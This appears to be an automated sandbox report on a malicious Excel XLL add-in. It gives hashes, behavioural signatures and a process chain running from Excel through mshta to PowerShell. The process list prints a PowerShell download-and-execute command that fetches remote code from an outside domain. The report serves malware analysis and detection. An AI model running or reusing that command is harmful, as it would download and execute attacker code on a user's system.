Analysis
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max time kernel
146s -
max time network
152s -
platform
windows11-21h2_x64 -
resource
win11-20240508-en -
resource tags
arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system -
submitted
22/05/2024, 17:05
Static task
static1
Behavioral task
behavioral1
Sample
19f751d7de55e04a04dd71dc749f683eec28f0089e8b1d662a231520072ed20c.xll
Resource
win10v2004-20240226-en
Behavioral task
behavioral2
Sample
19f751d7de55e04a04dd71dc749f683eec28f0089e8b1d662a231520072ed20c.xll
Resource
win11-20240508-en
General
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Target
19f751d7de55e04a04dd71dc749f683eec28f0089e8b1d662a231520072ed20c.xll
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Size
12KB
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MD5
1a45c000d7bc9ca4dae871b2ff98f5cb
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SHA1
cfce47c3cda5221de356575155da92df3886b10c
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SHA256
19f751d7de55e04a04dd71dc749f683eec28f0089e8b1d662a231520072ed20c
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SHA512
cc2205d35abae5fac731612cabbd20d8c31aa04d0e19955de575bae1362e1a3c82cf0c4127c6a477c8b571a9c5f57edf61a2354c176edcb7a7ba20fd2ad703ef
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SSDEEP
192:gL29RBzDzeobchBj8JONjONNUrujrEPEjr7Ahc:O29jnbcvYJOkYujvr7Cc
Malware Config
Extracted
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 4332 732 mshta.exe 79 -
Blocklisted process makes network request 1 IoCs
flow pid Process 25 2092 powershell.exe -
Loads dropped DLL 2 IoCs
pid Process 732 EXCEL.EXE 732 EXCEL.EXE -
pid Process 2092 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 732 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2092 powershell.exe 2092 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2092 powershell.exe -
Suspicious use of SetWindowsHookEx 10 IoCs
pid Process 732 EXCEL.EXE 732 EXCEL.EXE 732 EXCEL.EXE 732 EXCEL.EXE 732 EXCEL.EXE 732 EXCEL.EXE 732 EXCEL.EXE 732 EXCEL.EXE 732 EXCEL.EXE 732 EXCEL.EXE -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 732 wrote to memory of 4332 732 EXCEL.EXE 81 PID 732 wrote to memory of 4332 732 EXCEL.EXE 81 PID 732 wrote to memory of 4332 732 EXCEL.EXE 81 PID 4332 wrote to memory of 2092 4332 mshta.exe 82 PID 4332 wrote to memory of 2092 4332 mshta.exe 82 PID 4332 wrote to memory of 2092 4332 mshta.exe 82
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\19f751d7de55e04a04dd71dc749f683eec28f0089e8b1d662a231520072ed20c.xll"1⤵
- Loads dropped DLL
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:732 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4332 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2092
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2KB
MD5f754844cfb65838d1dd6b19dde5d835c
SHA1b3eb677783adc88c8d048898449e04d49f416db6
SHA2563644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6
SHA512f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf
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C:\Users\Admin\AppData\Local\Temp\19f751d7de55e04a04dd71dc749f683eec28f0089e8b1d662a231520072ed20c.xll
Filesize12KB
MD51a45c000d7bc9ca4dae871b2ff98f5cb
SHA1cfce47c3cda5221de356575155da92df3886b10c
SHA25619f751d7de55e04a04dd71dc749f683eec28f0089e8b1d662a231520072ed20c
SHA512cc2205d35abae5fac731612cabbd20d8c31aa04d0e19955de575bae1362e1a3c82cf0c4127c6a477c8b571a9c5f57edf61a2354c176edcb7a7ba20fd2ad703ef
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82